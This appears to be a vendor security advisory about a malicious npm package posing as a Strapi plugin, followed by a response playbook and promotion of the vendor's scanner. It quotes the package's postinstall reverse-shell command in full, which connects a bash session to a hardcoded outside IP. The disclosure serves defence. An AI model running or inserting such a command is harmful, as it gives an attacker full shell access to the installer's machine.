npm uninstall strapi-plugin-ccresh-meeb

What this malware does

The package's postinstall lifecycle script (scripts.postinstall: node postinstall.js) unconditionally invokes /bin/bash with an interactive reverse-shell payload at install time: bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'. This connects stdin/stdout/stderr of an interactive bash session to a hardcoded remote host over TCP/443, handing full shell access on the installer's machine to whoever controls that endpoint. A marker file is also written under /tmp confirming execution. The manifest self-labels the package as a Reverse shell payload for Strapi. Any npm install of this package results in remote code execution and interactive shell access as the installing user.

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-ccresh-meeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-ccresh-meeb across your stack and pipelines.

  2. If you installed it — respond

    strapi-plugin-ccresh-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-ccresh-meeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks strapi-plugin-ccresh-meeb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
